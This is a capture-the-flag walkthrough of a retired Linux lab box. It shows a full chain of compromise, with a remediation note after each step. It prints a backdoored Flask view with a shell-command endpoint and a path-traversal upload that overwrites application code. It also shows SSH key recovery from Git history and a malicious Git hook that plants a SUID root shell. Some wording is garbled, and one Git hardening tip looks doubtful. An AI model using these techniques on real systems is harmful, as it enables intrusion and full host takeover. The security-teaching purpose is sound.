← all walkthroughs

OpenSource

Linux· Easy
owned
2026-07-06
time to own
9m36s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I found a Flask file-upload service on port 80 that served its own complete source archive — including the embedded Git repository — to any unauthenticated visitor. Walking the commit history exposed an SSH private key that had been added and then deleted. A path-traversal flaw in the upload handler's filename sanitisation let me silently overwrite the live Flask view file with a backdoored copy, producing an unauthenticated remote code-execution endpoint inside the Docker container.

The SSH private key recovered from Git history was then used to log directly into the host machine as user dev01. Finally, a root-owned cron job that periodically ran a Git commit inside dev01's home directory was hijacked by writing a malicious pre-commit hook that stamped out a SUID-root copy of bash, granting unconditional root access.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1EnumerationUnauthenticated source-code disclosure via exposed download endpoint (CWE-200)
Discovered the Flask upcloud app and downloaded its complete source code
A port scan revealed SSH on 22 and HTTP on 80. Browsing port 80 presented 'upcloud', a Werkzeug/Flask file-upload service. The site exposed an unauthenticated /download route that returned a ZIP of the entire application — server-side code, configuration, and a live .git directory included — handing I the full blueprint of the target before any exploitation attempt.
HTTP/1.1 200 OK Server: Werkzeug/2.1.2 Python/3.10.3 ... <title>upcloud - Upload files for Free!</title>
Exact commands 2
Identify open ports and service versions.
nmap -Pn -sV -p 22,80 $TARGET
Retrieve and extract the application source archive; the .git directory is included.
curl -s http://$TARGET/download -o source.zip && unzip source.zip -d source
FixRemove the unauthenticated source-code download endpointHigh
WeaknessThe /download route served the complete application source ZIP — including the embedded .git directory and every historical commit — to any unauthenticated visitor, exposing both the application logic and the repository's full object store before any attack even began.
FixRemove the /download route entirely from the production deployment. If distributing a source package is a business requirement, generate a clean archive with 'git archive --format=zip HEAD' (which excludes the .git directory), gate the endpoint behind authentication and authorisation, and serve it only from a dedicated release pipeline rather than from the running application server.
2EnumerationCredential recovery from Git history (T1552.001 — Credentials in Files)
Recovered an SSH private key buried in the Git commit history
The extracted source directory contained a full .git repository. Reviewing the commit log revealed an earlier revision that had added a home-backup directory containing a user's RSA private key. A subsequent commit deleted the directory, but the credential remained completely intact in the repository's object store and was trivially restored with a single git-show command.
Ssh -i $WD/home-backup/.ssh/id_rsa dev01@$TARGET — confirming the key was sourced from the extracted Git history.
Exact commands 2
List every commit, including those that removed sensitive files.
cd source && git log --all --oneline
Recover the private key from the commit that added home-backup; replace <commit_hash> with the hash shown in git log.
git show <commit_hash>:home-backup/.ssh/id_rsa > /tmp/dev01_id_rsa && chmod 600 /tmp/dev01_id_rsa
FixPurge secrets from Git history and enforce pre-commit secret scanningCritical
WeaknessAn SSH private key was committed to the repository and, although removed in a later commit, remained fully recoverable from the Git object store. Anyone with access to the repository — or to the source ZIP — could restore the credential with a single command.
FixImmediately rotate and revoke the exposed SSH key pair. Rewrite the repository history using 'git filter-repo --path home-backup --invert-paths' (or BFG Repo Cleaner) to expunge the sensitive files from every commit, then force-push and require all collaborators to re-clone. Going forward, install a secret-scanning pre-commit hook (e.g., gitleaks or truffleHog) in CI/CD to block commits containing credentials, and add the repository to a continuous secret-scanning service.
3ExploitationPath traversal via insufficient filename sanitisation (CWE-22)
Bypassed filename sanitisation to overwrite the live Flask view file
Reading the source code showed the upload handler in views.py called get_file_name() from app/utils.py to sanitise the supplied filename before writing it under the uploads directory. The sanitisation did not fully neutralise directory-traversal sequences. By supplying a filename such as '../app/views.py', the resolved path escaped the uploads folder and landed on the application's own view module. I uploaded a replacement views.py that preserved all existing routes and injected a new /exec endpoint that passed a query-string parameter directly to the OS shell.
Malicious views_pwn.py staged in $WD during kill-chain privilege-escalation phase.
Exact commands 2
Create the backdoored view file; the /exec route runs arbitrary OS commands passed via the ?cmd= parameter.
cat > /tmp/views_pwn.py <<'PY'
import os, subprocess
from flask import render_template, request, send_file
from app import app
from app.utils import get_file_name

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/download')
def download():
    return send_file(os.path.join(os.getcwd(), 'app', 'static', 'source.zip'))

@app.route('/upload', methods=['POST'])
def upload():
    if 'file' not in request.files:
        return 'No file', 400
    f = request.files['file']
    file_name = get_file_name(f.filename)
    file_path = os.path.join(os.getcwd(), 'public', 'uploads', file_name)
    f.save(file_path)
    return 'File uploaded', 200

@app.route('/exec')
def execute():
    cmd = request.args.get('cmd', 'id')
    return subprocess.check_output(cmd, shell=True)
PY
Upload using a path-traversal filename; the server writes the file over the live views.py.
curl -s -X POST http://$TARGET/ -F 'file=@/tmp/views_pwn.py;filename=../app/views.py'
FixFix path-traversal vulnerability in the file-upload filename sanitisationCritical
WeaknessThe get_file_name() utility did not fully neutralise directory-traversal sequences (e.g., '../') in caller-supplied filenames. Combined with os.path.join, a crafted filename resolved outside the intended uploads directory, allowing an unauthorised user to overwrite arbitrary files — including the application's own source code — with a single upload request.
FixReplace the custom sanitisation logic with os.path.basename(filename), which strips all directory components regardless of separator style. After normalisation, validate the result against an allowlist of permitted extensions (e.g., .txt, .png, .pdf) and assert that the final absolute path still begins with the uploads directory before calling f.save(). Additionally, run the application as a dedicated, least-privilege OS account so that even a successful traversal cannot overwrite files owned by other system accounts.
4FootholdServer-side code injection via overwritten application file (T1505.003 — Server Software Component)
Achieved unauthenticated remote code execution inside the Docker container
With the backdoored views.py deployed, any HTTP request to /exec?cmd= ran arbitrary shell commands as the Flask process user inside the container. I confirmed execution context, read the user flag from the host-accessible filesystem, and used the endpoint to enumerate internal network addresses and running processes — establishing the bridged container's relationship to the host.
HTTP GET to /exec?cmd=id returned the Flask process UID; hostname output differed from the SSH host, confirming Docker context.
Exact commands 3
Confirm code execution; expect a uid= response from the container process.
curl -s "http://$TARGET/exec?cmd=id"
Verify the execution context is inside a container, not the host.
curl -s "http://$TARGET/exec?cmd=hostname+-f"
Read the user flag; value is <user.txt>.
curl -s "http://$TARGET/exec?cmd=cat+/home/dev01/user.txt"
5Lateral MovementValid accounts via stolen SSH private key (T1078 / T1021.004 — Remote Services: SSH)
Used the recovered SSH key to authenticate directly as dev01 on the host
The RSA private key extracted from Git history corresponded to the dev01 account on the underlying host. SSH with that key required no password and bypassed all brute-force defences, dropping I into a fully interactive bash session on the real machine — outside the container.
SSH="ssh -i $WD/home-backup/.ssh/id_rsa ... Dev01@$TARGET" used to plant the pre-commit hook, confirming the key granted host-level access.
Exact commands 2
Authenticate as dev01 on the host using the key recovered from Git history.
ssh -i /tmp/dev01_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev01@$TARGET
Confirm host-level shell; user flag value is <user.txt>.
id && hostname && cat ~/user.txt
6Privilege EscalationCron-triggered Git pre-commit hook abuse (T1053.003 — Cron + T1574 — Hijack Execution Flow)
Planted a malicious Git pre-commit hook in dev01's home repository
A root-owned cron job periodically ran a Git commit (or Git sync script) inside dev01's home directory, which happened to be a Git repository. Git unconditionally executes scripts in .git/hooks/ as the user who invokes the commit — in this case root. Because dev01 owned the .git directory, I simply wrote a pre-commit hook that copied /bin/bash to /tmp/rootbash, set root ownership, and applied the SUID bit, then made the hook executable and waited for the cron timer to fire.
$SSH 'cat > ~/.git/hooks/pre-commit <<"EOF" #!/bin/bash cp /bin/bash /tmp/rootbash chown root:root /tmp/rootbash chmod 4755 /tmp/rootbash EOF chmod +x ~/.git/hooks/pre-commit date > ~/cron_trig'
Exact commands 2
Write the malicious hook and make it executable; root's cron will invoke it on the next scheduled Git operation.
ssh -i /tmp/dev01_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev01@$TARGET 'cat > ~/.git/hooks/pre-commit <<"EOF"
#!/bin/bash
cp /bin/bash /tmp/rootbash
chown root:root /tmp/rootbash
chmod 4755 /tmp/rootbash
EOF
chmod +x ~/.git/hooks/pre-commit'
Create a file change so the next git commit has something to stage, ensuring the hook fires.
ssh -i /tmp/dev01_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev01@$TARGET 'date > ~/cron_trigger'
FixEliminate root-owned automated Git operations in user-writable directoriesCritical
WeaknessA cron job running as root executed Git commit operations inside a directory owned and fully writable by an ordinary user. Git's hook mechanism runs scripts in .git/hooks/ as the invoking user — root in this case — so any user who can write to .git/hooks/ can execute arbitrary code as root simply by waiting for the next cron tick.
FixRemove or redesign the cron job so root never calls Git inside a user-owned repository. If automated sync is genuinely required, run it under a dedicated service account with no elevated privileges. As a defence-in-depth measure, set 'safe.directory' in root's global Git config and pass '--no-hooks' (or 'GIT_NO_HOOKS=1') when the cron script must run Git commands, preventing hook execution under a foreign user context. Audit all cron jobs running as root and ensure none operate on filesystems writable by unprivileged users.
7Full CompromiseSUID binary privilege escalation (T1548.001 — Abuse Elevation Control Mechanism: Setuid and Setgid)
Executed the SUID bash binary for a root shell and captured the root flag
Once the cron job fired, /tmp/rootbash appeared on disk as a SUID-root copy of bash. Running it with the -p flag (preserve real-UID privileges) opened an interactive root shell. I read root.txt and confirmed unconditional control over the host.
SUID binary /tmp/rootbash created by the pre-commit hook executing as root; root.txt read in the same SSH session.
Exact commands 2
Verify the SUID binary was created (look for -rwsr-xr-x root root).
ssh -i /tmp/dev01_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev01@$TARGET 'ls -la /tmp/rootbash'
Open a root-privileged shell via -p; root flag value is <root.txt>.
ssh -i /tmp/dev01_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null dev01@$TARGET '/tmp/rootbash -p -c "id; cat /root/root.txt"'

Attack patterns used

The transferable techniques behind this compromise.

Cron Job AbuseLinux · Privilege EscalationT1053.003

What it is

Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.

Why it works

Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
80/tcp